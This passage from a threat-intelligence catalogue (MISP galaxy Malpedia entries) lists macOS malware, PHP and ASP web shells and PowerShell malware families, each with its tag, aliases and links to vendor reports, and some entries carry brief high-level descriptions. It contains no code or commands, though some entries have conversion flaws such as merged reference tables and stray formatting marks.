The tag is: `misp-galaxy:malpedia="POOLRAT"`

POOLRAT is also known as:

*Table 2240. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**Poseidon (OS X)**

Part of Mythic C2, written in Golang.

The tag is: `misp-galaxy:malpedia="Poseidon (OS X)"`

Poseidon (OS X) is also known as:

*Table 2241. Table References*
Proton RAT

The tag is: misp-galaxy:malpedia="Proton RAT"

Proton RAT is also known as:

- Calisto

Table 2242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.poseidon">https://malpedia.caad.fkie.fraunhofer.de/details/osx.poseidon</a></td>
</tr>
<tr>
<td><a href="https://github.com/MythicAgents/poseidon">https://github.com/MythicAgents/poseidon</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/">https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/calisto-trojan-for-macos/86543/">https://securelist.com/calisto-trojan-for-macos/86543/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x1F.html">https://objective-see.com/blog/blog_0x1F.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/">https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x1D.html">https://objective-see.com/blog/blog_0x1D.html</a></td>
</tr>
</tbody>
</table>

Pwnet

Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.

The tag is: misp-galaxy:malpedia="Pwnet"

Pwnet is also known as:

Table 2243. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet">https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet</a></td>
</tr>
</tbody>
</table>
Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: misp-galaxy:malpedia="Dok"

Dok is also known as:

• Retefe

Table 2244. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe">https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/33/the-retefe-saga">https://www.govcert.admin.ch/blog/33/the-retefe-saga</a></td>
<td></td>
</tr>
</tbody>
</table>

RustBucket (OS X)

The tag is: misp-galaxy:malpedia="RustBucket (OS X)"

RustBucket (OS X) is also known as:

Table 2245. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket">https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html">https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/</a></td>
<td></td>
</tr>
</tbody>
</table>

Shlayer

According to PCrisk, Shlayer is a trojan-type virus designed to proliferate various adware and other unwanted applications, and promote fake search engines. It is typically disguised as a Adobe Flash
Player installer and various software cracking tools.

In most cases, users encounter this virus when visiting dubious Torrent websites that are full of intrusive advertisements and deceptive downloads.

The tag is: `misp-galaxy:malpedia="Shlayer"`

Shlayer is also known as:

**Table 2246. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer">https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/shlayer-for-macos/95724/">https://securelist.com/shlayer-for-macos/95724/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/">https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/</a></td>
</tr>
<tr>
<td><a href="https://www.cisecurity.org/insights/blog/top-10-malware-march-2022">https://www.cisecurity.org/insights/blog/top-10-malware-march-2022</a></td>
</tr>
<tr>
<td><a href="https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/">https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x64.html">https://objective-see.com/blog/blog_0x64.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-345a">https://us-cert.cisa.gov/ncas/alerts/aa20-345a</a></td>
</tr>
</tbody>
</table>

**Silver Sparrow**

According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.

The tag is: `misp-galaxy:malpedia="Silver Sparrow"`

Silver Sparrow is also known as:

**Table 2247. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow">https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis">https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis</a></td>
</tr>
</tbody>
</table>
SysJoker (OS X)

The tag is: misp-galaxy:malpedia="SysJoker (OS X)"

SysJoker (OS X) is also known as:

Table 2248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker">https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/">https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/</a></td>
</tr>
</tbody>
</table>

systemd

General purpose backdoor

The tag is: misp-galaxy:malpedia="systemd"

systemd is also known as:

- Demsty
- ReverseWindow

Table 2249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd">https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/windealer-dealing-on-the-side/105946/">https://securelist.com/windealer-dealing-on-the-side/105946/</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?_is=1&amp;i=15299312&amp;lng=en">https://vms.drweb.com/virus/?_is=1&amp;i=15299312&amp;lng=en</a></td>
</tr>
</tbody>
</table>

Tsunami (OS X)

The tag is: misp-galaxy:malpedia="Tsunami (OS X)"

Tsunami (OS X) is also known as:

Table 2250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami">https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami</a></td>
</tr>
</tbody>
</table>
Unidentified macOS 001 (UnionCryptoTrader)

The tag is: misp-galaxy:malpedia="Unidentified macOS 001 (UnionCryptoTrader)"

Unidentified macOS 001 (UnionCryptoTrader) is also known as:

Table 2251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.unidentified_001">https://malpedia.caad.fkie.fraunhofer.de/details/osx.unidentified_001</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x51.html">https://objective-see.com/blog/blog_0x51.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus-sequel/95596/">https://securelist.com/operation-applejeus-sequel/95596/</a></td>
</tr>
</tbody>
</table>

UpdateAgent

The tag is: misp-galaxy:malpedia="UpdateAgent"

UpdateAgent is also known as:

Table 2252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent">https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sysopfb/status/1532442456343691273">https://twitter.com/sysopfb/status/1532442456343691273</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/">https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/updateagent-macos-malware">https://www.esentire.com/blog/updateagent-macos-malware</a></td>
</tr>
<tr>
<td><a href="https://www.jamf.com/blog/updateagent-adapts-again/">https://www.jamf.com/blog/updateagent-adapts-again/</a></td>
</tr>
</tbody>
</table>

Uroburos (OS X)

The tag is: misp-galaxy:malpedia="Uroburos (OS X)"

Uroburos (OS X) is also known as:

Table 2253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos">https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos</a></td>
</tr>
</tbody>
</table>
Vigram

The tag is: `misp-galaxy:malpedia="Vigram"

Vigram is also known as:

• WizardUpdate

Table 2254. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram">https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ConfiantIntel/status/1351559054565535745">https://twitter.com/ConfiantIntel/status/1351559054565535745</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1451279679059488773">https://twitter.com/MsftSecIntel/status/1451279679059488773</a></td>
</tr>
</tbody>
</table>

WatchCat

The tag is: `misp-galaxy:malpedia="WatchCat"

WatchCat is also known as:

Table 2255. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.watchcat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.watchcat</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x5F.html">https://objective-see.com/blog/blog_0x5F.html</a></td>
</tr>
</tbody>
</table>

WindTail

The tag is: `misp-galaxy:malpedia="WindTail"

WindTail is also known as:

Table 2256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail">https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail</a></td>
</tr>
</tbody>
</table>
Winnti (OS X)

The tag is: `misp-galaxy:malpedia="Winnti (OS X)"

Winnti (OS X) is also known as:

Table 2257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti">https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti</a></td>
</tr>
<tr>
<td><a href="https://401trg.pw/winnti-evolution-going-open-source/">https://401trg.pw/winnti-evolution-going-open-source/</a></td>
</tr>
</tbody>
</table>

WireLurker (OS X)

The tag is: `misp-galaxy:malpedia="WireLurker (OS X)"

WireLurker (OS X) is also known as:

Table 2258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker">https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>

Wirenet (OS X)

The tag is: `misp-galaxy:malpedia="Wirenet (OS X)"

Wirenet (OS X) is also known as:

Table 2259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
X-Agent (OS X)

The tag is: misp-galaxy:malpedia="X-Agent (OS X)"

X-Agent (OS X) is also known as:

Table 2260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent">https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PhysicalDrive0/status/845009226388918273">https://twitter.com/PhysicalDrive0/status/845009226388918273</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
</tbody>
</table>

XCSSET

The tag is: misp-galaxy:malpedia="XCSSET"

XCSSET is also known as:

Table 2261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset">https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset</a></td>
</tr>
<tr>
<td><a href="https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/">https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/">https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/</a></td>
</tr>
</tbody>
</table>
Xloader

Xloader is a Rebranding of Formbook malware (mainly a stealer), available for macOS as well.

Formbook has a "magic"-value FBNG (FormBook-NG), while Xloader has a "magic"-value XLNG (XLoader-NG). This "magic"-value XLNG is platform-independent.

Not to be confused with apk.xloader or ios.xloader.

The tag is: `misp-galaxy:malpedia="Xloader"`

Xloader is also known as:

- Formbook

Table 2262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader">https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/krabsonsecurity/status/1319463908952969216">https://twitter.com/krabsonsecurity/status/1319463908952969216</a></td>
</tr>
<tr>
<td><a href="https://www.lac.co.jp/lacwatch/report/20220307_002893.html">https://www.lac.co.jp/lacwatch/report/20220307_002893.html</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/">https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/</a></td>
</tr>
</tbody>
</table>
XSLCmd

The tag is: `misp-galaxy:malpedia="XSLCmd"`

XSLCmd is also known as:

Table 2263. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd">https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>

Yort

The tag is: `misp-galaxy:malpedia="Yort"`

Yort is also known as:

Table 2264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort">https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x53.html">https://objective-see.com/blog/blog_0x53.html</a></td>
</tr>
</tbody>
</table>

ZuRu

A malware that was observed being embedded alongside legitimate applications (such as iTerm2) offered for download on suspicious websites pushed in search engines. It uses a Python script to perform reconnaissance on the compromised system an pulls additional payload(s).

The tag is: `misp-galaxy:malpedia="ZuRu"`

ZuRu is also known as:

Table 2265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru">https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x66.html">https://objective-see.com/blog/blog_0x66.html</a></td>
</tr>
</tbody>
</table>
Ani-Shell

Ani-Shell is a simple PHP shell with some unique features like Mass Mailer, a simple Web-Server Fuzzer, Desser, Back Connect, Bind Shell, Back Connect, Auto Rooter etc.

The tag is: `misp-galaxy:malpedia="Ani-Shell"`

Ani-Shell is also known as:

- anishell

Table 2266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.anishell">https://malpedia.caad.fkie.fraunhofer.de/details/php.anishell</a></td>
</tr>
<tr>
<td><a href="http://ani-shell.sourceforge.net/">http://ani-shell.sourceforge.net/</a></td>
</tr>
<tr>
<td><a href="https://github.com/tennc/webshell/tree/master/php/Ani-Shell">https://github.com/tennc/webshell/tree/master/php/Ani-Shell</a></td>
</tr>
</tbody>
</table>

ANTAK

Antak is a webshell written in ASP.Net which utilizes PowerShell.

The tag is: `misp-galaxy:malpedia="ANTAK"`

ANTAK is also known as:

Table 2267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.antak">https://malpedia.caad.fkie.fraunhofer.de/details/php.antak</a></td>
</tr>
<tr>
<td><a href="http://www.labofapenetrationtester.com/2014/06/introducing-antak.html">http://www.labofapenetrationtester.com/2014/06/introducing-antak.html</a></td>
</tr>
</tbody>
</table>

ASPXSpy

The tag is: `misp-galaxy:malpedia="ASPXSpy"`

ASPXSpy is also known as:

Table 2268. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.aspxspy">https://malpedia.caad.fkie.fraunhofer.de/details/php.aspxspy</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells">https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells</a></td>
</tr>
</tbody>
</table>
**Behinder**

A webshell for multiple web languages (asp/aspx, jsp/jspx, php), openly distributed through Github.

The tag is: `misp-galaxy:malpedia="Behinder"`

Behinder is also known as:

**Table 2269. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/">https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/</a></td>
</tr>
</tbody>
</table>

**c99shell**

C99shell is a PHP backdoor that provides a lot of functionality, for example:

- run shell commands;
- download/upload files from and to the server (FTP functionality);
- full access to all files on the hard disk;
- self-delete functionality.

The tag is: `misp-galaxy:malpedia="c99shell"`

c99shell is also known as:

- c99

**Table 2270. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.c99">https://malpedia.caad.fkie.fraunhofer.de/details/php.c99</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.com/2015/03/c99shell-not-dead.html">https://bartblaze.blogspot.com/2015/03/c99shell-not-dead.html</a></td>
</tr>
</tbody>
</table>

**DEWMODE**

FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion’s File Transfer Appliance. It is a PHP webshell that allows threat actors to view and download files in the victim machine. It also contains cleanup function to
remove itself and clean the Apache log.

The tag is: misp-galaxy:malpedia="DEWMODE"

DEWMODE is also known as:

Table 2271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode">https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/mtp-2021-0312.pdf">https://go.recordedfuture.com/hubfs/reports/mtp-2021-0312.pdf</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a</a></td>
</tr>
</tbody>
</table>

Ensikology

The tag is: misp-galaxy:malpedia="Ensikology"

Ensikology is also known as:

- Ensiko

Table 2272. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.ensikology">https://malpedia.caad.fkie.fraunhofer.de/details/php.ensikology</a></td>
</tr>
</tbody>
</table>

p0wnyshell

The tag is: misp-galaxy:malpedia="p0wnyshell"

p0wnyshell is also known as:

- Ponyshell
- Pownyshell

Table 2273. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.p0wnyshell">https://malpedia.caad.fkie.fraunhofer.de/details/php.p0wnyshell</a></td>
</tr>
</tbody>
</table>
**Parrot TDS WebShell**

In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.

The tag is: *misp-galaxy:malpedia="Parrot TDS WebShell"*

Parrot TDS WebShell is also known as:

*Table 2274. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**PAS**

The tag is: *misp-galaxy:malpedia="PAS"*

PAS is also known as:

*Table 2275. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.erratasec.com/2016/12/some-notes-on-iocs.html">https://blog.erratasec.com/2016/12/some-notes-on-iocs.html</a></td>
</tr>
</tbody>
</table>

**Prometheus Backdoor**

Backdoor written in php

The tag is: *misp-galaxy:malpedia="Prometheus Backdoor"*

Prometheus Backdoor is also known as:

*Table 2276. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.group-ib.com/prometheus-tds">https://blog.group-ib.com/prometheus-tds</a></td>
</tr>
</tbody>
</table>
RedHat Hacker WebShell

The tag is: *misp-galaxy:malpedia=*"RedHat Hacker WebShell"

RedHat Hacker WebShell is also known as:

Table 2277. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.redhat_hacker">https://malpedia.caad.fkie.fraunhofer.de/details/php.redhat_hacker</a></td>
</tr>
<tr>
<td><a href="https://github.com/xl7dev/WebShell/blob/master/Asp/RedHat%20Hacker.asp">https://github.com/xl7dev/WebShell/blob/master/Asp/RedHat%20Hacker.asp</a></td>
</tr>
</tbody>
</table>

WSO

The tag is: *misp-galaxy:malpedia=*"WSO"

WSO is also known as:

• Webshell by Orb

Table 2278. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/php.wso">https://malpedia.caad.fkie.fraunhofer.de/details/php.wso</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/energetic-bear-crouching-yeti/85345/">https://securelist.com/energetic-bear-crouching-yeti/85345/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903">https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903</a></td>
</tr>
</tbody>
</table>

Silence DDoS

The tag is: *misp-galaxy:malpedia=*"Silence DDoS"

Silence DDoS is also known as:

Table 2279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos">https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/resources/threat-research/silence.html">https://www.group-ib.com/resources/threat-research/silence.html</a></td>
</tr>
</tbody>
</table>

BlackSun

Ransomware.

The tag is: *misp-galaxy:malpedia=*"BlackSun"

BlackSun is also known as:
**BONDUPDATER**

The tag is: `misp-galaxy:malpedia="BONDUPDATER"`

BONDUPDATER is also known as:

- Glimpse
- Poison Frog

**CASHY200**

The tag is: `misp-galaxy:malpedia="CASHY200"`

CASHY200 is also known as:
Table 2282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.cashy200">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.cashy200</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/">https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/hunter-serpens/">https://unit42.paloaltonetworks.com/atoms/hunter-serpens/</a></td>
</tr>
</tbody>
</table>

**FlowerPower**

The tag is: *misp-galaxy:malpedia="FlowerPower"

FlowerPower is also known as:

- BoBoStealer

Table 2283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.flowerpower">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.flowerpower</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=rfzmHjZX7Os">https://www.youtube.com/watch?v=rfzmHjZX7Os</a></td>
</tr>
</tbody>
</table>

**FRat Loader**

Loader used to deliver FRat (see family windows.frat)

The tag is: *misp-galaxy:malpedia="FRat Loader"

FRat Loader is also known as:

Table 2284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.frat_loader">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.frat_loader</a></td>
</tr>
<tr>
<td><a href="https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md">https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md</a></td>
</tr>
</tbody>
</table>

**FTCODE**

The malware ftcode is a ransomware which encrypts files and changes their extension into .FTCODE. It later asks for a ransom in order to release the decryption key, mandatory to recover
your files. It is infamous for attacking Italy pretending to be a notorious telecom provider asking for due payments.

The tag is: *misp-galaxy:malpedia="FTCODE"*

FTCODE is also known as:

_Table 2285. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/research/ftcode-ransomware%E2%80%94new-version-includes-stealing-capabilities">https://www.zscaler.com/blogs/research/ftcode-ransomware—new-version-includes-stealing-capabilities</a></td>
</tr>
<tr>
<td><a href="https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/">https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/</a></td>
</tr>
</tbody>
</table>

**GhostMiner**

The tag is: *misp-galaxy:malpedia="GhostMiner"*

GhostMiner is also known as:

_Table 2286. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/malware-against-the-c-monoculture/">https://research.checkpoint.com/malware-against-the-c-monoculture/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless">https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless</a></td>
</tr>
</tbody>
</table>

**JasperLoader**

The tag is: *misp-galaxy:malpedia="JasperLoader"*

JasperLoader is also known as:

